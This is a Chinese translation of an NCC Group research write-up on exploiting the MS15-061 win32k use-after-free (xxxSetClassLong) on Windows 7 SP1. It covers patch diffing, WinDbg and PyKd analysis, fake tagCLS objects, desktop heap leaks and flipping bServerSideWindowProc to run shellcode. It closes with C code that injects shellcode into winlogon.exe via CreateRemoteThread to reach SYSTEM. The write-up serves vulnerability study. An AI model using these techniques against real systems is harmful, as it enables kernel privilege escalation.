Skip to content

Latest commit

 

History

History
838 lines (657 loc) · 34.7 KB

ms-15-061.rst

File metadata and controls

838 lines (657 loc) · 34.7 KB

利用 MS15-061 Windows 内核释放后重用漏洞(win32k!xxxSetClassLong)

Dominic Wang

NCC Group

译者 :rectigu@gmail.com

创建时间 :2015 年 8 月

更新时间 :2016 年 4 月 27 日

1. 简介

2015 年 6 月,微软发布了 MS15-061 安全通告,修复了诸多漏洞1 。 本文将详细分析其中的一个 win32k 漏洞, 并且阐述在 Windows 7 SP1 上利用这类漏洞的必要细节。

起初,我尝试重现出现在 Duqu 2.0 样本中的本地提权漏洞。 经过一些研究与补丁分析,我发现 Udi Yavo 发现了一些非常有意思而且与 Duqu 2.0 使用的漏洞(CVE-2015-2360)类型一样的漏洞。 更重要的是,我碰巧触发了同样的代码路径。

请注意我使用 32 位的 Windows 7 SP1 来做初始分析与漏洞利用。 不过本文阐述的技巧也同样适用于 64 位的 Windows。事实上, 在本文的方法上做一点很小的改动就可以很轻松地开发出 64 位的利用程序。

1.1. 漏洞描述

这个是一个位于 win32k.sys 的释放后重用漏洞。 漏洞的起因是没有为用户模式回调函数给窗口内核类型加锁, 该漏洞可以由 win32k.sys 中的 xxxSetClassLong 函数触发。 成功利用该漏洞将导致特权提升到“NT AUTHORITY/SYSTEM”。

1.2. 受影响的操作系统

该漏洞影响的版本从 Windows XP 一直到 Windows 7 SP12

  • Windows 7
  • Windows Vista
  • Windows XP
  • Windows Server 2008
  • Windows Server 2008 R2
  • Windows Server 2003

1.3. 荣誉

该漏洞由 enSilo 的 Udi Yavo3 发现并阐述。

2. 初始分析

2.1. 背景

该漏洞的本质与用于 RussianDoll(CVE-2015-1701) 与用于 Duqu 2.0(CVE-2015-2360)类似。 这些漏洞的根源都是在执行 CopyClientImage 用户模式回调函数时没能正确地给窗口内核类型加锁。 特别地,该漏洞影响的对象 与用于 Duqu 2.0 的是一样的,也就是 tagCLS 内核结构。

2.1.1. 补丁对比

文件            版本                MD5
win32k.sys     6.1.7601.18773      ba3cb7d5c1dcf17e6fffb28db950841a
win32k.sys     6.1.7601.18869      bcd4c37a7043e75131111ea447210de7

补丁 MS15-061 在位于 xxxSetClassCursor 函数的 xxxSetClassIcon 函数调用 前后加上了内核类型加锁与解锁的系统调用,位于 xxxSetClassData 函数中的 xxxSetClassCursor 也是如此。这可以在下面的补丁对比中看到。

未打补丁的 xxxSetClassData 函数:

.text:BF83AD94                        push     [ebp+arg_8]
.text:BF83AD97                        push     edi
.text:BF83AD98                        push     esi
.text:BF83AD99                        push     eax
.text:BF83AD9A                        call     _xxxSetClassCursor@16 ; xxxSetClassCursor(x,x,x,x) ; xxxSetClassCursor 会执行到 xxxSetClassIcon
.text:BF83AD9F                        call     __SEH_epilog4
.text:BF83ADA4                        retn     10h

打了补丁的 xxxSetClassData 函数:

.text:BF83ADAD                        lea      eax, [ebp+var_34]
.text:BF83ADB0                        push     eax
.text:BF83ADB1                        push     esi
.text:BF83ADB2                        call     _ClassLock@8        ; ClassLock(x,x)
.text:BF83ADB7                        test     eax, eax
.text:BF83ADB9                        jz       loc_BF83AADC
.text:BF83ADBF                        push     [ebp+arg_8]
.text:BF83ADC2                        push     edi
.text:BF83ADC3                        push     esi
.text:BF83ADC4                        push     [ebp+P]
.text:BF83ADC7                        call     _xxxSetClassCursor@16 ; xxxSetClassCursor(x,x,x,x) ; xxxSetClassCursor 会执行到 xxxSetClassIcon
.text:BF83ADCC                        mov      edi, eax
.text:BF83ADCE                        lea      eax, [ebp+var_34]
.text:BF83ADD1                        push     eax
.text:BF83ADD2                        push     esi
.text:BF83ADD3                        call     _ClassUnlock@8      ; ClassUnlock(x,x)
.text:BF83ADD8                        mov      eax, edi
.text:BF83ADDA                        jmp      loc_BF83AAE5
...
.text:BF83AAE5                        call     __SEH_epilog4
.text:BF83AAEA                        retn     10h

未打补丁的 xxxSetClassCursor 函数:

.text:BF92BDE4                       cmp       ebx, 0FFFFFFDEh
.text:BF92BDE7                       jz        short loc_BF92BDFF
.text:BF92BDE9                       cmp       ebx, 0FFFFFFF2h
.text:BF92BDEC                       jz        short loc_BF92BDFF
...
.text:BF92BDFF                       push      ebx
.text:BF92BE00                       push      esi
.text:BF92BE01                       push      edi
.text:BF92BE02                       push      [ebp+arg_0]
.text:BF92BE05                       call      _xxxSetClassIcon@16 ; xxxSetClassIcon(x,x,x,x) ; xxxSetClassIcon 会执行到用户模式回调函数
.text:BF92BE0A
.text:BF92BE0A                       mov       edi, [edi]

打了补丁的 xxxSetClassCursor 函数:

.text:BF92C3D2                       cmp       ebx, 0FFFFFFDEh
.text:BF92C3D5                       jz        short loc_BF92C3ED
.text:BF92C3D7                       cmp       ebx, 0FFFFFFF2h
.text:BF92C3DA                       jz        short loc_BF92C3ED
...
.text:BF92C3ED                       lea       eax, [ebp+var_18]
.text:BF92C3F0                       push      eax
.text:BF92C3F1                       push      esi
.text:BF92C3F2                       call      _ClassLock@8       ; ClassLock(x,x)
.text:BF92C3F7                       test      eax, eax
.text:BF92C3F9                       jz        short loc_BF92C421
.text:BF92C3FB                       push      ebx
.text:BF92C3FC                       push      edi
.text:BF92C3FD                       push      esi
.text:BF92C3FE                       push      [ebp+arg_0]
.text:BF92C401                       call      _xxxSetClassIcon@16 ; xxxSetClassIcon(x,x,x,x) ; xxxSetClassIcon 会执行到用户模式回调函数
.text:BF92C406                       lea       eax, [ebp+var_18]
.text:BF92C409                       push      eax
.text:BF92C40A                       push      esi
.text:BF92C40B                       call      _ClassUnlock@8     ; ClassUnlock(x,x)
.text:BF92C410                       mov       esi, eax

2.2. 漏洞

没能在用户模式回调函数的前后正确地实现 ClassLock 使得攻击者可以通过 win32k 系统调用修改窗口内核类型结构,比如说 tagCLS。这种情况最终可能导致位于桌面堆上的目标内核类型结构的修改与释放, 而内核却继续操作已经被释放的内存。 这是一个典型的利用 win32k.sys 用户模式回调函数的释放后重用场景4

2.2.1. 调用链

为了方便重现,我们使用取自全新安装的 Windows 7 SP1 的 win32k.sys 来做进一步的分析。

文件              版本                 MD5
win32k.sys       6.1.7601.17514      687464342342b933d6b7faa4a907af4c

使用恰当的参数调用 SetClassLong 用户模式 API 设置图标属性能够触发存在漏洞的用户模式回调函数,正如 Udi Yavo 在他的分析5 中描述的那样。举个例子,这可以通过下面的代码片段触发。

; 触发用户模式回调函数
SetClassLongPtr(hwnd, GCLP_HICON, (LONG_PTR)LoadIcon(NULL, IDI_QUESTION));

这种表现可以通过在 KeUserModeCallback 函数设置恰当的断点来展示, 如下 WinDbg 调用栈所示;

kd> kb
ChildEBP RetAddr        Args to Child
9aa83ad8 96f93a7d 0001002b 00000001 00000010 nt!KeUserModeCallback
9aa83b00 9701f2f8 fea11200 fea11200 fffffff2 win32k!xxxCreateClassSmIcon+0x7f
9aa83b28 97018d80 fea144e0 00000000 ffb6a198 win32k!xxxSetClassIcon+0x8c
9aa83b4c 96f2a251 fea144e0 fea11200 fffffff2 win32k!xxxSetClassCursor+0x6c
9aa83b9c 96f2a3e4 fea144e0 fffffff2 0001002b win32k!xxxSetClassData+0x36d
9aa83bb8 96f2a390 fea144e0 fffffff2 0001002b win32k!xxxSetClassLong+0x39
9aa83c1c 82a821ea 0003026a fffffff2 0001002b win32k!NtUserSetClassLong+0x132
9aa83c1c 773270b4 0003026a fffffff2 0001002b nt!KiFastCallEntry+0x12a
0027fec0 76f96583 76f965b7 0003026a fffffff2 ntdll!KiFastSystemCallRet
0027fec4 76f965b7 0003026a fffffff2 0001002b USER32!NtUserSetClassLong+0xc
0027fefc 00ec10ce 0003026a fffffff2 0001002b USER32!SetClassLongW+0x5e

2.3. 概要

总的来讲,真正的问题可以概括如下:

  1. xxxSetClassLong 函数可以由 SetClassLong 用户模式函数调用到。
  2. 如果用恰当的参数调用 SetClassLong 函数,最终会执行到 xxxSetClassCursor 函数。
  3. 在 xxxSetClassIcon 调用 xxxCreateClassSmIcon 时,它会调用能导致用户模式回调的函数,而这个回调函数可以在用户模式挂钩。
  4. 当代码在用户模式执行的时候,通过调用 win32k.sys 系统调用桌面堆上的结构可能被改变;包括释放调 tagCLS 结构。
  5. 返回到内核模式之后,内核线程没有检查已经被修改的结构。这是一个典型的造成在调用 HMAUnlockObject67 时任意地址递减的释放后重用漏洞。

3. 触发漏洞

正如 Aaron 在他的论文8 中所说的那样, 漏洞利用程序的开发通常是通过一系列的阶段来实现的。 我们通常把触发漏洞分类为第一阶段的内存破坏。 这是一种很好的看待现代漏洞利用程序开发过程的方式, 因为在现在要开发军火级别的漏洞利用程序所需的信息很容易让人摸不清方向。

3.1. tagCLS 结构

利用任何一个释放后重用漏洞的第一步就是弄清楚存在漏洞的对象是什么: 熟悉哪个对象被释放掉了。在这个漏洞中,存在漏洞的对象是 tagCLS 内核窗口类型结构。 这是一个可以通过 RegisterClass 用户模式 API9 实例化的内核类型结构, 该函数返回的原子10 可以使用 CreateWindow 或者 CreateWindowEx11 用户模式 API 来创建 GUI 窗口。

下面是 WinDbg 输出的 tagCLS 结构与它的大小。

kd> dt win32k!tagCLS
     +0x000 pclsNext               : Ptr32 tagCLS
     +0x004 atomClassName          : Uint2B
     +0x006 atomNVClassName        : Uint2B
     +0x008 fnid                   : Uint2B
     +0x00c rpdeskParent           : Ptr32 tagDESKTOP
     +0x010 pdce                   : Ptr32 tagDCE
     +0x014 hTaskWow               : Uint2B
     +0x016 CSF_flags              : Uint2B
     +0x018 lpszClientAnsiMenuName : Ptr32 Char
     +0x01c lpszClientUnicodeMenuName : Ptr32 Uint2B
     +0x020 spcpdFirst             : Ptr32 _CALLPROCDATA
     +0x024 pclsBase               : Ptr32 tagCLS
     +0x028 pclsClone              : Ptr32 tagCLS
     +0x02c cWndReferenceCount : Int4B
     +0x030 style                  : Uint4B
     +0x034 lpfnWndProc            : Ptr32        long
     +0x038 cbclsExtra             : Int4B
     +0x03c cbwndExtra             : Int4B
     +0x040 hModule                : Ptr32 Void
     +0x044 spicn                  : Ptr32 tagCURSOR
     +0x048 spcur                  : Ptr32 tagCURSOR
     +0x04c hbrBackground          : Ptr32 HBRUSH__
     +0x050 lpszMenuName           : Ptr32 Uint2B
     +0x054 lpszAnsiClassName : Ptr32 Char
     +0x058 spicnSm                : Ptr32 tagCURSOR
kd> ?? sizeof(win32k!tagCLS)
unsigned int 0x5c

3.2. 监视桌面堆

桌面堆用于为 win32k.sys 驱动程序存储 GUI 对象12 。 为了监视桌面堆,我个人使用 PyKd,一个赋予 WinDbg 调试器 Python 编程能力的拓展。 我使用 PyKd 借助硬件断点来实现软挂钩并且在开发过程中使用 Python 回调函数来做分析。不过,出于完整性考虑, 下面的 WinDbg 脚本会帮助监视桌面堆的分配与释放。

监视桌面堆分配(64 位)

ba e 1 nt!RtlFreeHeap ".printf\"RtlFreeHeap(%p, 0x%x, %p)\", @rcx, @edx, @r8; .echo ; gc";
ba e 1 nt!RtlAllocateHeap "r @$t2 = @r8; r @$t3 = @rcx; gu; .printf \"RtlAllocateHeap(%p, 0x%x):\", @$t3, @$t2; r @rax; gc";

监视桌面堆分配(32 位)

ba e 1 nt!RtlAllocateHeap "r @$t2 = poi(@esp+c); r @$t3 = poi(@esp+4); gu; .printf \"RtlAllocateHeap(%p, 0x%x):\", @$t3, @$t2; r @eax; gc";
ba e 1 nt!RtlFreeHeap ".printf\"RtlFreeHeap(%p, 0x%x, %p)\", poi(@esp+4), poi(@esp+8), poi(@esp+c); .echo ; gc"

请注意从现在开始,输出与提供的 Python 代码片段都是我通过 PyKd 用来分析 WinDbg 输出的回调逻辑。

3.3. 触发用户模式回调

win32k 使用用户模式回调函数来实现像应用程序定义的钩子和 与用户模式交换数据等用户模式的操作。 考虑到 win32k 的内部机制已经在 Tarjei Mandt 的研究13 中详细阐述, 我将会只提供对利用该漏洞所需要的结构做一个简单的介绍。

下面这个给 PyKd 钩子的回调用于获取 PEB.KernelCallbackTable 的地址:

def getKernelCallBackTable():
     # wingdbstub.Ensure()
     console = pykd.dbgCommand("dt !_PEB @$peb").split()
     for i in range(0, len(console)):
          if console[i] == u'KernelCallbackTable':
                index = i
                break
     print("KernelCallBackTable: %s" % console[i+2])
     return int(console[i+2], 16)

有了 PEB.KernelCallbackTable 的地址, 我们就可以使用 WinDbg 的 dds 命令把回调函数表及其相关联的符号显示出来。

kd> getKernelCallBackTable
KernelCallBackTable: 0x7708d568
kd> dds 0x7708d568
7708d568 770764eb USER32!__fnCOPYDATA
7708d56c    770bf0bc USER32!__fnCOPYGLOBALDATA
7708d570    77084f59 USER32!__fnDWORD
7708d574    7707b2a1 USER32!__fnNCDESTROY
7708d578    770a01a6 USER32!__fnDWORDOPTINLPMSG
7708d57c    770bf196 USER32!__fnINOUTDRAG
7708d580    770a6bfd USER32!__fnGETTEXTLENGTHS
7708d584    770bf3ea USER32!__fnINCNTOUTSTRING
Snipped

想想在 2.2.1 节中的漏洞调用链,在 nt!KeUserModeCallback 系统调用的之前的最后一帧是 win32k!xxxCreateClassSmIcon+0x7f:

.text:BF8A3A76                          push     ecx
.text:BF8A3A77                          push     edx
.text:BF8A3A78                          call     _xxxClientCopyImage@20 ;
xxxClientCopyImage(x,x,x,x,x)
win32k!xxxCreateClassSmIcon+0x7f:
.text:BF8A3A7D                          lea      esi, [edi+58h]

看看 xxxClientCopyImage 函数调用。 注意用于 KeUserModeCallback 调用的 ApiNumber参数是 0x36, 这是在回调表中的索引,也就是 ClientCopyImage 回调:

.text:BF8A276C                          push     eax
.text:BF8A276D                          push     14h
.text:BF8A276F                          lea      eax, [ebp+var_30]
.text:BF8A2772                          push     eax
.text:BF8A2773                          push     36h ; ApiNumber
.text:BF8A2775                          call     ds:__imp__KeUserModeCallback@20 ;
KeUserModeCallback(x,x,x,x,x)
.text:BF8A277B                          mov      esi, eax

我们可以用 WinDbg 验证这一点:

kd> dds 0x7708d568 + 0x4*0x36 L1
7708d640 7707f55f USER32!__ClientCopyImage

回忆一下 2.3 节,这个用户模式回调函数可以被挂钩。 注意现在这个回调函数指向我们的利用程序定义的钩子 (ripmtso!hookClientCopyImage):

kd> dds 0x7708d568 + 0x4*0x36 L1
7708d640 010f1490 ripmtso!hookClientCopyImage
[z:\expdev\workspace\ripmtso\ripmtso\main.c @ 637]

3.4. 使用已经释放了的内存

断点                                       分析
win32k!xxxCreateClassSmIcon+0x7a          beforeCCI()
win32k!xxxCreateClassSmIcon+0x7f          afterCCI()
nt!RtlFreeHeap                            monitorRtlFreeHeap()
nt!RtlAllocateHeap                        monitorRtlAllocateHeap_1
nt!RtlAllocateHeap+0x10e                  monitorRtlAllocateHeap_2

我使用 xxxCreateSmIcon 来观察这个释放后重用场景:

.text:BF8A3A76                        push      ecx
.text:BF8A3A77                        push      edx ; win32k!xxxCreateClassSmIcon+0x7a
.text:BF8A3A78                        call      _xxxClientCopyImage@20 ; leads to user-mode
callback
.text:BF8A3A7D                        lea       esi, [edi+58h] ;

win32k!xxxCreateClassSmIcon+0x7f,edi 寄存器指向 win32k!tagCLS 结构

相关的分析逻辑:

def disable_bp(bp_symbol):
     console = pykd.dbgCommand("bl").split()
     for i in range(0, len(console)):
          if console[i] == bp_symbol:
               index = i
               break
     pykd.dbgCommand("bd %s" % console[i-7])
     print("[+] Breakpoint %s disabled!" % console[i-7])
def beforeCCI():
     tagCLS = pykd.dbgCommand("?edi").split()[4]
     print("[+] tagCLS allocated @: %s" % tagCLS)
def afterCCI():
     # disable_bp(u'nt!RtlFreeHeap')
     Pass

此外,桌面堆监视:

def monitorRtlFreeHeap():
      parent = pykd.dbgCommand("?poi(esp+4)").split()[4]
      size = pykd.dbgCommand("?poi(esp+8)").split()[4]
      freed_chunk = pykd.dbgCommand("?poi(esp+c)").split()[4]
      print("RtlFreeHeap(0x%s, 0x%s, 0x%s)" % (parent, size, freed_chunk))
      pykd.dbgCommand("g")
def monitorRtlAllocateHeap_1():
      #wingdbstub.Ensure()
      t2 = pykd.dbgCommand("?poi(esp+c)").split()[4]
      t3 = pykd.dbgCommand("?poi(esp+4)").split()[4]
      ptr = pykd.dbgCommand("?eax").split()[4]
      print("[+] RtlAllocateHeap(0x" + t3 +", 0x"+ t2 + "):")
      pykd.dbgCommand("g")
def monitorRtlAllocateHeap_2():
      #wingdbstub.Ensure()
      ptr = pykd.dbgCommand("?eax").split()[4]
      print("[+] ptr = 0x%s" % ptr)
      pykd.dbgCommand("g")

想象一下,如果我们在 CopyClientImage 钩子中调用 DestroyWindow 与 UnregisterClass 函数,那会怎样?

这将会导致 位于 tagCLS 中的 cWndReferenceCount 自减,并最终在类型取消注册时造成释放 tagCLS 的后果。

kd> g
[+] tagCLS allocated @: fea31ca0
win32k!xxxCreateClassSmIcon+0x7a:
970a3a78 e8b9ecffff            call      win32k!xxxClientCopyImage (970a2736)
kd> be * ; enable desktop heap monitoring breakpoints
kd> g
RtlFreeHeap(0xfea00000, 0x00000000, 0xfea31dd8)
RtlFreeHeap(0xfea00000, 0x00000000, 0xfea31d08)
RtlFreeHeap(0xfea00000, 0x00000000, 0xfea31ca0)
RtlFreeHeap(0xfea00000, 0x00000000, 0xfea313a8)
win32k!xxxCreateClassSmIcon+0x7f:
970a3a7d 8d7758                lea       esi,[edi+58h] ; operating on freed memory

3.5. 伪造 tagCLS 结构

利用这种类型漏洞的经典方式就是设置通过 SetWindowTextW 设置窗口的标题栏, 并因此强制实现任意大小的桌面堆分配。唯一需要注意的是,使用这种技巧的时候, 不允许缓冲区中存在单字零,并且为了结束字符串14 最后两个字节必须是零。

BYTE chunk[0x5c];
memset(chunk, '\x41', 0x5c);
chunk[0x58] = '\xa9';
chunk[0x59] = '\xde';
chunk[0x5a] = '\x00';
chunk[0x5b] = '\x00';
SetWindowTextW(hwnd,chunk);

3.6. 非法访问

简言之,我们能够通过被替换了的对象(偏移+0x58)使任意地址自减。 注意我们只能控制自减地址的两个字节(举个例子,0x0000dead):

kd> g
[+] tagCLS allocated @: fea23718
win32k!xxxCreateClassSmIcon+0x7a:
982d3a78 e8b9ecffff            call     win32k!xxxClientCopyImage (982d2736)
kd> be * ; enable desktop heap monitoring breakpoints
kd> g
RtlFreeHeap(0xfea00000, 0x00000000, 0xfea23850)
RtlFreeHeap(0xfea00000, 0x00000000, 0xfea23780)
RtlFreeHeap(0xfea00000, 0x00000000, 0xfea23718)
RtlFreeHeap(0xfea00000, 0x00000000, 0xfea2b208)
[+] RtlAllocateHeap(0xfea00000, 0x0000005c):
[+] ptr = 0xfea23718 ; replacing the freed object using SetWindowTextW
win32k!xxxCreateClassSmIcon+0x7f:
982d3a7d 8d7758                lea      esi,[edi+58h]
kd> dc 0xfea23718
fea23718     41414141 41414141 41414141 41414141          AAAAAAAAAAAAAAAA
fea23728     41414141 41414141 41414141 41414141          AAAAAAAAAAAAAAAA
fea23738     41414141 41414141 41414141 41414141          AAAAAAAAAAAAAAAA
fea23748     41414141 41414141 41414141 41414141          AAAAAAAAAAAAAAAA
fea23758     41414141 41414141 41414141 41414141          AAAAAAAAAAAAAAAA
fea23768     41414141 41414141 0000dea9 00000000          AAAAAAAA........
fea23778     00000003 0000000d fea2b208 fea192b8          ................
fea23788     00000000 00000000 00010017 08000003          ................
kd> g
Access violation - code c0000005 (!!! second chance !!!)
win32k!HMUnlockObject+0x8:
982fdcc1 ff4804                dec      dword ptr [eax+4]
kd> r
eax=0000dea9 ebx=ffa1b7b8 ecx=ff910000 edx=ffa4f8e8 esi=ffa4f8e8 edi=0000dea9
eip=982fdcc1 esp=b27c6adc ebp=b27c6adc iopl=0                    nv up ei pl nz na pe nc
cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000                               efl=00010206
win32k!HMUnlockObject+0x8:
982fdcc1 ff4804                dec      dword ptr [eax+4]        ds:0023:0000dead=????????

偏移 0x58 是这个 tagCLS 对象的 spicnSm 成员,该成员在执行 HMUnlokObject 操作是会被引用。该操作用于解锁(自减)给定对象的引用计数。 因此,这将导致造成任意自减的场景。

4. 利用漏洞

有几个可以用来利用这个漏洞的方法。其中著名的技巧是反转位于 tagCLS15 中的 CSF_flags 结构的 Server Side Proc 域。 不过,我决定使用一种会引入一个额外的 tagWND 结构的方法。

4.1. 单字零的问题

在利用自减一条件之前,我们还需要解决几个障碍。 由于宽字符的限制,在使用 SetWindowTextW 的时有零指针与单字零是不可能的。 这是个问题我们需要在伪造的 tagCLS 块中的零指针来正常的退出存在漏洞的代码路径。 而且,我们通过 SetWindowTextW 技巧只能控制自减的最后两个字节。 这在 32 位架构几乎没有任何用处。

不妨在调用 SetWindowTextW 函数时设置一个断点到 RtlAllocateHeap 上。

kd> ba e 1 nt!RtlAllocateHeap
kd> bl
  0 e 82ad3ee7 e 1 0001 (0001) nt!RtlAllocateHeap
kd> g
Breakpoint 0 hit
nt!RtlAllocateHeap:
82ad3ee7 8bff                  mov       edi,edi
kd> kb
ChildEBP RetAddr       Args to Child
b276ca9c 9830690a fea00000 00000000 0000005c nt!RtlAllocateHeap
b276cab4 982eb6a4 86938048 0000005c 00000004 win32k!DesktopAlloc+0x25
b276caf8 982dd499 fea226d8 0000005c 2a35ba52 win32k!DefSetText+0x8a
b276cb70 982eb611 fea226d8 0000000c 00000000 win32k!xxxRealDefWindowProc+0x111
b276cb88 982ef86b fea226d8 0000000c 00000000 win32k!xxxWrapRealDefWindowProc+0x2b

看似 win32k!DefSetText 可以用来触发桌面堆的分配。 具体讲,该函数可以通过直接调用 NtUserDefSetText 系统调用 由 user32!NtUserDefSetText16 调用到:

.text:77D4265A ; __stdcall NtUserDefSetText(x, x)
.text:77D4265A _NtUserDefSetText@8 proc near                       ; CODE XREF:
_DefSetText(x,x,x)+33p
.text:77D4265A                         mov       eax, 116Dh
.text:77D4265F                         mov       edx, 7FFE0300h
.text:77D42664                         call      dword ptr [edx]
.text:77D42666                         retn      8
.text:77D42666 _NtUserDefSetText@8 endp

利用 NtUserDefSetText 系统调用,我们可以绕过单字零的限制。 现在我们能够分配包含单字零的任意桌面堆块。这意味着此时我们已经可以自减任意地址了。

eax=cafebaba ebx=ffa19708 ecx=ff910000 edx=fe6966e0 esi=fe6966e0 edi=cafebaba
eip=982fdcc1 esp=9b3b7adc ebp=9b3b7adc iopl=0                    nv up ei ng nz na po nc
cs=0008 ss=0010 ds=0023 es=0023             fs=0030    gs=0000                 efl=00010282
win32k!HMUnlockObject+0x8:
982fdcc1 ff4804                dec       dword ptr [eax+4]       ds:0023:cafebabe=????????

4.2. 泄漏桌面堆的信息

现在,我将介绍一些用于从用户模式读取桌面堆的结构。 需要注意的是所有的用户对象都被索引到了一张每会话的句柄表中,该表位于 win32k!gpvSharedBase17 ,并且该区被映射到了每一个 GUI 进程(用户模式)。这对漏洞利用程序开发者来说是一个天大的好消息, 因此我们可以从用户模式读取桌面堆的任意内容。这个特性可以看作是一个强有力的信息泄漏。 因为我们可以从用户模式映射的桌面堆获取任意桌面堆对象的内容, 所以我们可以备份被篡改的 tagCLS 结构并用它来恰当地从存在漏洞的代码路径退出。 更具体地讲,在将其替换为利用 NtUserDefSetText 系统调用篡改过的 tagCLS 之前, 我们使用桌面堆泄漏来复制一份 tagCLS。在我们拿到一份有效的 tagCLS 对象的复本后, 我们修改位于偏移 0x58 处的指针,该指针在后面将会用来实现任意自减。 读取用户模式映射的桌面堆的过程已经在 Tarjei 的论文18 与 Aaron 的论文19 中阐述。简单讲, 我们能用 NtCurrentTeb() 来定位 Win32ClientInfo 结构:

typedef struct _CLIENTINFO
{
         ULONG_PTR CI_flags;
         ULONG_PTR cSpins;
         DWORD dwExpWinVer;
         DWORD dwCompatFlags;
         DWORD dwCompatFlags2;
         DWORD dwTIFlags;
         PDESKTOPINFO pDeskInfo;
         ULONG_PTR ulClientDelta;
         // incomplete. see reactos
} CLIENTINFO, *PCLIENTINFO;

ulClientDelta 成员可以用来计算桌面堆对象的用户模式地址。这是桌面堆用户模式映射与内核映射的偏移。

接着,看看 win32k!tagSHAREDINFO 结构,该结构由 user32!gSharedInfo(用户模式)与 win32k!gSharedInfo(内核模式)指向:

kd> ?user32!gSharedInfo
Evaluate expression: 1981453376 = 761a9440
kd> dt win32k!tagSHAREDINFO 761a9440
    +0x000 psi                    : 0x003b0578 tagSERVERINFO
    +0x004 aheList                : 0x002f0000 _HANDLEENTRY
    +0x008 HeEntrySize            : 0xc
    +0x00c pDispInfo              : 0x003b1728 tagDISPLAYINFO
    +0x010 ulSharedDelta          : 0xff620000
    +0x014 awmControl             : [31] _WNDMSG
    +0x10c DefWindowMsgs          : _WNDMSG
    +0x114 DefWindowSpecMsgs : _WNDMSG
kd> ?win32k!gSharedInfo
Evaluate expression: -1740320288 = 9844d1e0
kd> dt win32k!tagSHAREDINFO 9844d1e0
    +0x000 psi                    : 0xff9d0578 tagSERVERINFO
    +0x004 aheList                : 0xff910000 _HANDLEENTRY
    +0x008 HeEntrySize            : 0xc
    +0x00c pDispInfo              : 0xff9d1728 tagDISPLAYINFO
    +0x010 ulSharedDelta          : 0
    +0x014 awmControl             : [31] _WNDMSG
    +0x10c DefWindowMsgs          : _WNDMSG
    +0x114 DefWindowSpecMsgs : _WNDMSG

aheList 成员指向一个 win32k!_HANDLEENTRY 数组,该数组包含指向对应句柄实际内核模式地址的指针。因为窗口句柄的低 16 比特实际上是 aheList 数组的索引,所以我们可以获取任意窗口桌面堆对象的内核内存指针。 因此,我们可以计算内核对象映射的用户模式内存。 这可以通过从内核指针减去 ulClientDelta 计算出。

整合到一起,我们现在可以备份要攻击的 tagCLS 对象。然后,篡改偏移 0x58 来任意自减。

VOID BackupVictimCLS(HWND tagWndHwnd){
         DWORD krnlTagWndHwnd = FindW32kHandleAddress(tagWndHwnd);
         DWORD userTagWndHwnd = krnlTagWndHwnd - g_ulClientDelta;
         DWORD krnlVictimTagCLS = *(DWORD *)(userTagWndHwnd + 0x64);
         DWORD userVictimTagCLS = krnlVictimTagCLS - g_ulClientDelta;
         memcpy(originalCLS, userVictimTagCLS, 0x5c);
         return 0;
}
VOID ArbDecByOne(DWORD addr){
...
*(DWORD *)(originalCLS + 0x58) = addr0x4;
...
}

4.3 tagWND 结构

我决定使用 Nils20 阐述的技巧,该技巧从曾用于 Pwn2Own 2013。 首先,我创建了一个新的 win32k 窗口对象,也就是 tagWND 结构。 接着,把 shellcode 存储到它的的窗口过程中。再接着, 多次触发释放后重用来反转刚刚创建的 tagWND 结构的 bServerSideWindowProc 比特。这是因为我们需要自减这个值 直到它卷到零下并且设置 bServerSideProc 比特。

kd> dt win32k!tagWND
     +0x000 head                 : _THRDESKHEAD
     +0x014 state                : Uint4B
     +0x014 bHasMeun             : Pos 0, 1 Bit
     +0x014 bHasVerticalScrollbar : Pos 1, 1 Bit
     +0x014 bHasHorizontalScrollbar : Pos 2, 1 Bit
     +0x014 bHasCaption          : Pos 3, 1 Bit
     +0x014 bSendSizeMoveMsgs : Pos 4, 1 Bit
     +0x014 bMsgBox              : Pos 5, 1 Bit
     +0x014 bActiveFrame         : Pos 6, 1 Bit
     +0x014 bHasSPB              : Pos 7, 1 Bit
     +0x014 bNoNCPaint           : Pos 8, 1 Bit
     +0x014 bSendEraseBackground : Pos 9, 1 Bit
     +0x014 bEraseBackground : Pos 10, 1 Bit
     +0x014 bSendNCPaint         : Pos 11, 1 Bit
     +0x014 bInternalPaint       : Pos 12, 1 Bit
     +0x014 bUpdateDirty         : Pos 13, 1 Bit
     +0x014 bHiddenPopup         : Pos 14, 1 Bit
     +0x014 bForceMenuDraw       : Pos 15, 1 Bit
     +0x014 bDialogWindow        : Pos 16, 1 Bit
     +0x014 bHasCreatestructName : Pos 17, 1 Bit
     +0x014 bServerSideWindowProc : Pos 18, 1 Bit
Snipped

如果设置了 bServerSideWindowProc 比特, 关联窗口的过程将不进行情景切换就执行, 并且它以内核线程执行存储在窗口过程中的 shellcode。

现在 bServerSideWindowProc 比特已经设置了, 通过调用 SendMessage(pwndHwnd, 0x1337, 0x1337, 0x0) 函数。 这使得我们可是执行存储在与 pwndHwnd 窗口句柄关联窗口过程中的 shellcode。

4.4. 代码注入

考虑到大家蛮关注 Hacking Team 的本地提权漏洞转储21 ,我使用在 Cesar Cerrudo 的简易本地 Windows 内核漏洞利用论文中阐述的内核 shellcode 把 winlogon.exe 进程的 ACL 清零。然后将计算器的 shellcode 注入到 winlogon.exe 进程的内存空间。最后,使用 CreateRemoteThread 来调用这个计算器。

LPVOID pMem;
char shellcode[] = "";
wchar_t *str = L"winlogon.exe";
HANDLE hWinLogon = OpenProcess(PROCESS_ALL_ACCESS, FALSE, GetProcId(str));
pMem = VirtualAllocEx(hWinLogon, NULL, 0x1000, MEM_RESERVE | MEM_COMMIT,
PAGE_EXECUTE_READWRITE);
WriteProcessMemory(hWinLogon, pMem, shellcode, sizeof(shellcode), 0);
CreateRemoteThread(hWinLogon, NULL, 0, (LPTHREAD_START_ROUTINE)pMem, NULL, 0,
NULL);

注意,计算器现在是以“NT AUTHORITY\SYSTEM”权限在 winlogon.exe 的内存空间中运行的。

image0

5. 结论

桌面堆用户模式映射的存在使得这个漏洞的利用十分有趣。 它几乎可以被认为是一个强有力的信息泄漏。 现在,漏洞利用的场景已经向客户端程序转移。 为了绕过客户端程序实现的沙箱,内核漏洞利用程序成为了需要。

我期待读者的反馈或者错误纠正。如果我那里弄错了或者没有恰当的引用资料来源, 你可以通过 Twitter @d0mzw,或者邮箱 dominicwang@nccgroup.trust 联系到我,我会修正并重新发布。

6. 致谢

我想感谢以下个人对漏洞研究所做出的慷慨贡献:Tarjei Mandt,Mateusz Jurczyk, Nils, Udi Yavov, 还有 Aaron Adams。他们的贡献使得我这次漏洞利用程序的开发变得更轻松。

最后我想感谢我的同事 Andrew Hickey,Aaron Adams 与 Michael Weber 帮我做的审阅与建议。

